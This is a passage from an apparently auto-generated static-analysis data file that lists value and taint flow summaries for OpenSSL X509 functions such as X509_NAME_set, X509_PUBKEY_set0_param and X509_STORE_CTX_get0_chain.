"df-generated"] + - ["", "", True, "X509_NAME_get0_der", "(const X509_NAME *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_get_entry", "(const X509_NAME *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_index_by_NID", "(const X509_NAME *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_index_by_OBJ", "(const X509_NAME *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_text_by_NID", "(const X509_NAME *,int,char *,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_get_text_by_OBJ", "(const X509_NAME *,const ASN1_OBJECT *,char *,int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_hash_ex", "(const X509_NAME *,OSSL_LIB_CTX *,const char *,int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_hash_old", "(const X509_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_oneline", "(const X509_NAME *,char *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_oneline", "(const X509_NAME *,char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_print_ex", "(BIO *,const X509_NAME *,int,unsigned long)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_print_ex_fp", "(FILE *,const X509_NAME *,int,unsigned long)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_NAME_set", "(X509_NAME **,const X509_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509_CRL", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get0_X509_CRL", "(const X509_OBJECT *)", "", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_get_type", "(const X509_OBJECT *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_idx_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_OBJECT_idx_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_OBJECT_retrieve_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_OBJECT_retrieve_by_subject", "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_OBJECT_retrieve_match", "(stack_st_X509_OBJECT *,X509_OBJECT *)", "", "Argument[*1].Field[*data].Union[**(unnamed class/struct/union)]", "Argument[*1].Field[*data].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509", "(X509_OBJECT *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509", "(X509_OBJECT *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509_CRL", "(X509_OBJECT *,X509_CRL *)", "", "Argument[*1]", "Argument[*0].Field[*data].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_OBJECT_set1_X509_CRL", "(X509_OBJECT *,X509_CRL *)", "", "Argument[1]", "Argument[*0].Field[*data].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_dup", "(const X509_PUBKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_free", "(X509_PUBKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_free", "(X509_PUBKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0", "(const X509_PUBKEY *)", "", "Argument[*0].Field[**pkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_get0", "(const X509_PUBKEY *)", "", "Argument[*0].Field[*pkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get0_param", "(ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get", "(const X509_PUBKEY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_get", "(const X509_PUBKEY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**algor].Field[**algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[**public_key].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**algor].Field[*algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[**public_key].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[5]", "Argument[*0].Field[**public_key].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_public_key", "(X509_PUBKEY *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**public_key].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_public_key", "(X509_PUBKEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**public_key].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_public_key", "(X509_PUBKEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**public_key].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_name", "(const X509_PURPOSE *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_name", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_sname", "(const X509_PURPOSE *)", "", "Argument[*0].Field[**sname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_sname", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*sname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get_by_id", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get_id", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*purpose]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get_trust", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*trust]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_set", "(int *,int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_INFO_free", "(X509_REQ_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_INFO_free", "(X509_REQ_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_add1_attr", "(X509_REQ *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_REQ_delete_attr", "(X509_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_delete_attr", "(X509_REQ *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_digest", "(const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_free", "(X509_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_free", "(X509_REQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_get0_distinguishing_id", "(X509_REQ *)", "", "Argument[*0].Field[**distinguishing_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get0_distinguishing_id", "(X509_REQ *)", "", "Argument[*0].Field[*distinguishing_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get0_signature", "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_get0_signature", "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_get0_signature", "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_get_X509_PUBKEY", "(X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[**pubkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get_X509_PUBKEY", "(X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[*pubkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get_attr", "(const X509_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_get_attr_by_NID", "(const X509_REQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_get_attr_by_OBJ", "(const X509_REQ *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_get_subject_name", "(const X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[**subject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get_subject_name", "(const X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[*subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_print", "(BIO *,X509_REQ *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_print_ex", "(BIO *,X509_REQ *,unsigned long,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_distinguishing_id", "(X509_REQ *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_distinguishing_id", "(X509_REQ *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_signature", "(X509_REQ *,ASN1_BIT_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**signature]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_signature", "(X509_REQ *,ASN1_BIT_STRING *)", "", "Argument[1]", "Argument[*0].Field[*signature]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set1_signature_algo", "(X509_REQ *,X509_ALGOR *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_set_subject_name", "(X509_REQ *,const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_set_subject_name", "(X509_REQ *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_REQ_sign", "(X509_REQ *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_sign_ctx", "(X509_REQ *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_add1_ext_i2d", "(X509_REVOKED *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_add_ext", "(X509_REVOKED *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_add_ext", "(X509_REVOKED *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_add_ext", "(X509_REVOKED *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_delete_ext", "(X509_REVOKED *,int)", "", "Argument[1]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_delete_ext", "(X509_REVOKED *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_delete_ext", "(X509_REVOKED *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_free", "(X509_REVOKED *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_free", "(X509_REVOKED *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_get0_extensions", "(const X509_REVOKED *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_extensions", "(const X509_REVOKED *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_revocationDate", "(const X509_REVOKED *)", "", "Argument[*0].Field[**revocationDate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_revocationDate", "(const X509_REVOKED *)", "", "Argument[*0].Field[*revocationDate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_serialNumber", "(const X509_REVOKED *)", "", "Argument[*0].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext", "(const X509_REVOKED *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_by_NID", "(const X509_REVOKED *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_by_OBJ", "(const X509_REVOKED *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_by_critical", "(const X509_REVOKED *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_count", "(const X509_REVOKED *)", "", "Argument[*0].Field[**extensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_d2i", "(const X509_REVOKED *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_set_revocationDate", "(X509_REVOKED *,ASN1_TIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*mdnid]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[2]", "Argument[*0].Field[*pknid]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[3]", "Argument[*0].Field[*secbits]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_free", "(X509_SIG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_SIG_free", "(X509_SIG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_CTX_get0_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**cert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_chain", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**chain]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_chain", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*chain]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**current_crl]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*current_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_issuer", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**current_issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_issuer", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*current_issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_param", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**param]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_param", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*param]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_parent_ctx", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_parent_ctx", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_policy_tree", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**tree]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_policy_tree", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*tree]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_rpk", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**rpk]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_rpk", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*rpk]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_store", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_store", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_untrusted", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**untrusted]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_untrusted", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*untrusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get1_chain", "(const X509_STORE_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_CTX_get1_issuer", "(X509 **,X509_STORE_CTX *,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_cert_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*cert_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_crl]", "ReturnValue", "value", 